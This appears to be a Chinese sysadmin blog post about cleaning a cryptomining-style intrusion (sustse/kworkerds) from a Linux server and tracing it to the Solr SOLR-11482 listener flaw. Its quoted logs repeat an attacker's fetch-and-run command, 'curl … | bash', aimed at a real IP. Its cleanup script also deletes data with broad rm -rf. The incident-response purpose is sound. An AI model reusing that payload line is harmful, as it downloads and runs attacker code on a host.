1.参考文章:
https://blog.csdn.net/xinxin_2011/article/details/84936581
https://blog.csdn.net/xinxin_2011/article/details/85047245
文章中介绍了入侵后的服务器的表现以及病毒所在的位置信息，并给出了
处理脚本。在此脚本基础上稍做了些修改，脚本内容如下:
chattr -i /etc
echo "" > /etc/ld.so.preload
rm -rf /etc/cron.d/*
rm -f /etc/cron.hourly/oanacroner1
chattr +i /etc
chattr -i /var/spool/cron/
rm -rf /var/spool/cron/*
chattr +i /var/spool/cron/
chattr -i /usr/local/lib/*
rm -f /usr/local/lib/*
chattr +i /usr/local/lib
killall sustse
killall kworkerds
rm -f /var/tmp/kworkerds*
rm -f /var/tmp/1.so
rm -f /var/tmp/sustse*
rm -f /tmp/kworkerds*
rm -f /tmp/1.so
rm -f /var/tmp/wc.conf
rm -f /tmp/wc.conf
2.溯源
在使用了第二篇参考文章提供的脚本后，清除了sustse等入侵程序，但是不久后发现该入侵程序又死灰复燃，跟参考文章中描述的现象出现不同，遂决定自己查找该程序的入侵方式。
(1).执行了last、lastlog 等指令未发现入侵异常。
(2).检查了/etc/passwd,/etc/shadow等文件，未发现添加异常用户
(3).根据入侵程序周期性启动的特点，检查了/etc/cron.*相关的目录,在cron.hourly目录中发现了入侵脚本oanacroner1，删除。并修改了处理脚本，添加了rm -f /etc/cron.hourly/oanacroner1
此时窃喜一番，认为应该彻底解决了这个问题，但是没过多久,发现该程序又出现了。头大
(4).因为服务器上有redis服务程序，想起redis的未授权漏洞，但是并未在定时文件中发现REDIS字样
(漏洞详见:https://www.freebuf.com/vuls/162035.html)
(5) 采用最原始方式:
cd /
grep -r 158.69.133.18 ./*
获取以下信息:
./beecarry/software/purchase_search/solr-5.2.1/server/logs/solr_log_20190212_0936:INFO - 2019-02-12 01:40:19.308; [ beecarry_customer_shard1_replica2] org.apache.solr.core.SolrCore; [[beecarry_customer_shard1_replica2] ] Added SolrEventListener for newSearcher: [org.apache.solr.core.RunExecutableListener{exe=sh,args=[-c, curl -s http://158.69.133.18:8220/mr.sh | bash -sh],event=newSearcher,dir=/bin/}]
./beecarry/software/purchase_search/solr-5.2.1/server/logs/solr_log_20190212_0936:INFO - 2019-02-12 01:40:19.397; [ beecarry_customer_shard1_replica2] org.apache.solr.core.SolrCore; [[beecarry_customer_shard1_replica2] ] Added SolrEventListener for newSearcher: [org.apache.solr.core.RunExecutableListener{exe=sh,args=[-c, curl -s http://158.69.133.18:8220/mr.sh | bash -sh],event=newSearcher,dir=/bin/}]
./beecarry/software/purchase_search/solr-5.2.1/server/logs/solr-8984-console.log:3686 [coreLoadExecutor-5-thread-1-processing-{node_name=*.*.*.*:8984_solr}] INFO org.apache.solr.core.SolrCore [ beecarry_customer_shard1_replica1] – [[beecarry_customer_shard1_replica1] ] Added SolrEventListener for newSearcher: [org.apache.solr.core.RunExecutableListener{exe=sh,args=[-c, curl -s http://158.69.133.18:8220/mr.sh | bash -sh],event=newSearcher,dir=/bin/}]
./beecarry/software/purchase_search/solr-5.2.1/server/logs/solr-8984-console.log:3686 [coreLoadExecutor-5-thread-1-processing-{node_name=*.*.*.*:8984_solr}] INFO org.apache.solr.core.SolrCore [ beecarry_customer_shard1_replica1] – [[beecarry_customer_shard1_replica1] ] Added SolrEventListener for newSearcher: [org.apache.solr.core.RunExecutableListener{exe=sh,args=[-c, curl -s http://158.69.133.18:8220/mr.sh | bash -sh],event=newSearcher,dir=/bin/}]
./beecarry/software/purchase_search/solr-5.2.1/server/logs/solr_log_20190212_0937:INFO - 2019-02-12 01:41:04.474; [ beecarry_customer_shard1_replica1] org.apache.solr.core.SolrCore; [[beecarry_customer_shard1_replica1] ] Added SolrEventListener for newSearcher: [org.apache.solr.core.RunExecutableListener{exe=sh,args=[-c, curl -s http://158.69.133.18:8220/mr.sh | bash -sh],event=newSearcher,dir=/bin/}]
./beecarry/software/purchase_search/solr-5.2.1/server/logs/solr_log_20190212_0937:INFO - 2019-02-12 01:41:04.526; [ beecarry_customer_shard1_replica1] org.apache.solr.core.SolrCore; [[beecarry_customer_shard1_replica1] ] Added SolrEventListener for newSearcher: [org.apache.solr.core.RunExecutableListener{exe=sh,args=[-c, curl -s http://158.69.133.18:8220/mr.sh | bash -sh],event=newSearcher,dir=/bin/}]
./beecarry/software/purchase_search/solr-5.2.1/server/logs/solr-8983-console.log:3712 [coreLoadExecutor-5-thread-1-processing-{node_name=*.*.*.*:8983_solr}] INFO org.apache.solr.core.SolrCore [ beecarry_customer_shard1_replica2] – [[beecarry_customer_shard1_replica2] ] Added SolrEventListener for newSearcher: [org.apache.solr.core.RunExecutableListener{exe=sh,args=[-c, curl -s http://158.69.133.18:8220/mr.sh | bash -sh],event=newSearcher,dir=/bin/}]
./beecarry/software/purchase_search/solr-5.2.1/server/logs/solr-8983-console.log:3713 [coreLoadExecutor-5-thread-1-processing-{node_name=*.*.*.*:8983_solr}] INFO org.apache.solr.core.SolrCore [ beecarry_customer_shard1_replica2] – [[beecarry_customer_shard1_replica2] ] Added SolrEventListener for newSearcher: [org.apache.solr.core.RunExecutableListener{exe=sh,args=[-c, curl -s http://158.69.133.18:8220/mr.sh | bash -sh],event=newSearcher,dir=/bin/}]
终于找到，原来利用了solr 的一个漏洞.
(漏洞详见:https://issues.apache.org/jira/browse/SOLR-11482)
打开solr的控制台页面，在configs/beecarry_customer集群下找到configoverlay.json文件，里面包含了新添加的listener的名字
调用指令:
curl http://*.*.*.*:8983/solr/beecarry_customer/config -H 'Content-type:application/json' -d '{"delete-listener" : "newlistener-26"}'删除入侵程序添加的listener
增加防火墙设置，禁止外网访问solr,执行上述脚本，清除本机的入侵程序，到此彻底解决了这个问题
3.总结
(1)服务尽量只在内网访问，不对外网开放
(2)修改服务的配置文件，增加服务的验证功能
在此记录了查找入侵程序的过程，主要是为了给自己留一个记录，另外希望给遇到相同问题的同学留一个参考，希望大家都能找到相应的解决方法。
